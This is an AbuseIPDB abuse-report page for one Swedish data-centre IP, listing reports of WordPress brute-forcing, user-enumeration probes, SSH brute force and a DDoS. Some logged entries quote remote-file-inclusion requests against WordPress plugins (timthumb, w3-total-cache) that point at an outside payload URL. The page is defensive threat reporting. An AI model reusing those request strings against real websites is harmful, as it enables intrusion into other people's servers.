JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 194.99.24.172

194.99.24.172 was found in our database!

This IP was reported 19 times. Confidence of Abuse is 4%: ?

ISP	FINE GROUP SERVERS SOLUTIONS LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS46475
Domain Name	finegroupservers.com
Country	🇸🇪 Sweden
City	Marsta, Stockholm

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 194.99.24.172

Whois 194.99.24.172

IP Abuse Reports for 194.99.24.172:

This IP address has been reported a total of 19 times from 11 distinct sources. 194.99.24.172 was first reported on January 13th 2024, and the most recent report was 2 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-07-20 01:09:00 (2 days ago)	(mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jul 19 21:08:56.041950 2026] [security2:error] [pid 10763:tid 10763] [client 194.99.24.172:53047] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|ssion.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "ssion.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "al11KAd9J4NnGJtdk-r8RwAAAAA"] show less	Brute-Force Bad Web Bot Web App Attack
🇫🇮 inlink.ltd	2026-05-20 07:08:05 (2 months ago)	Known malicious PHP file or CMS probe	Web App Attack
Anonymous	2026-02-03 13:04:18 (5 months ago)	Attempted WordPress login: 194.99.24.172 - - [03/Feb/2026:13:04:18 +0000] "GET /wp-login.php HTTP/1 ... show more Attempted WordPress login: 194.99.24.172 - - [03/Feb/2026:13:04:18 +0000] "GET /wp-login.php HTTP/1.1" 200 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" show less	Hacking Web App Attack
🇺🇸 TPI-Abuse	2025-03-27 07:41:00 (1 year ago)	(mod_security) mod_security (id:211120) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:211120) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Mar 27 03:40:53.941773 2025] [security2:error] [pid 30096:tid 30096] [client 194.99.24.172:54279] [client 194.99.24.172] ModSecurity: Access denied with code 403 (phase 2). Match of "endsWith /modules/paypal/express_checkout/payment.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "29"] [id "211120"] [rev "12"] [msg "COMODO WAF: Remote File Inclusion Attack\|\|blacksheepoffroad.com\|F\|2"] [data "Matched Data: http://adguard.digital/payload/index.php? found within REQUEST_FILENAME: /wp-content/plugins/w3-total-cache/lib/w3/pager.class.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "blacksheepoffroad.com"] [uri "/wp-content/plugins/w3-total-cache/lib/W3/Pager.class.php"] [unique_id "Z-UBBf2SxtHHBEf9r1-GiwAAABg"] show less	Brute-Force Bad Web Bot Web App Attack
🇳🇿 Tripwire	2025-03-20 09:57:33 (1 year ago)	Scanning for exploits - /wp-content/plugins/timthumb/php/timthumb.php?src=http://adguard.digital/pay ... show more Scanning for exploits - /wp-content/plugins/timthumb/php/timthumb.php?src=http://adguard.digital/payload/index.php&w=100&h=100 show less	Hacking Web App Attack
🇳🇱 BlueWire Hosting	2025-03-09 21:10:09 (1 year ago)	Scanning for Laravel vulnerabilities	Web App Attack
Anonymous	2024-06-16 01:46:32 (2 years ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
Anonymous	2024-06-14 07:46:25 (2 years ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
🇪🇸 10dencehispahard SL	2024-06-13 07:05:54 (2 years ago)	Unauthorized login attempts [ wordpress-xmlrpc]	Brute-Force Web App Attack
Anonymous	2024-06-12 04:32:48 (2 years ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
🇪🇸 el-brujo	2024-06-09 21:23:00 (2 years ago)	DDoS Attack Layer 7 - REQUESTS / HTTP/2.0	DDoS Attack
🇺🇸 TPI-Abuse	2024-06-04 09:44:27 (2 years ago)	(mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Jun 04 05:44:22.651086 2024] [security2:error] [pid 19517] [client 194.99.24.172:22583] [client 194.99.24.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|maprada92.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "maprada92.com"] [uri "/wp-json/wp/v2/users"] [unique_id "Zl7h9sDv71Ng7SqjOzu7BQAAABk"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2024-06-03 23:15:35 (2 years ago)	(mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Jun 03 19:15:28.863978 2024] [security2:error] [pid 10440:tid 47075458586368] [client 194.99.24.172:12515] [client 194.99.24.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|jofdt.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "jofdt.com"] [uri "/wp-json/wp/v2/users"] [unique_id "Zl5OkDN02MbeubALGoYe9wAAAUU"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2024-05-30 11:05:04 (2 years ago)	(mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 194.99.24.172 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu May 30 07:04:56.471973 2024] [security2:error] [pid 22879] [client 194.99.24.172:22725] [client 194.99.24.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|36sovereignchambers.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "36sovereignchambers.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ZlhdWPkGIFU3Xhp6a-YTTwAAAAQ"] show less	Brute-Force Bad Web Bot Web App Attack
🇪🇸 10dencehispahard SL	2024-05-04 02:02:13 (2 years ago)	Unauthorized login attempts [ wordpress-xmlrpc, roundcube]	Brute-Force Web App Attack

Showing 1 to 15 of 19 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2605:aa80:0:18:a967:c52b:9970:78f

🇧🇷 201.71.192.108

🇨🇦 172.96.179.9

🇸🇪 171.25.158.74

🇭🇰 152.32.169.169

🇮🇳 117.205.50.108

🇺🇸 108.181.4.219

🇮🇩 103.67.80.61

🇨🇳 27.128.171.39

🇨🇴 190.85.11.150

🇧🇷 186.192.36.48

🇩🇪 185.242.3.121

🇺🇸 95.182.92.198

🇳🇱 91.92.42.233

🇸🇬 84.75.148.65

🇺🇸 84.37.180.228

🇺🇸 71.6.134.232

🇩🇪 57.129.47.135

🇳🇱 34.12.216.117

🇺🇸 23.23.99.55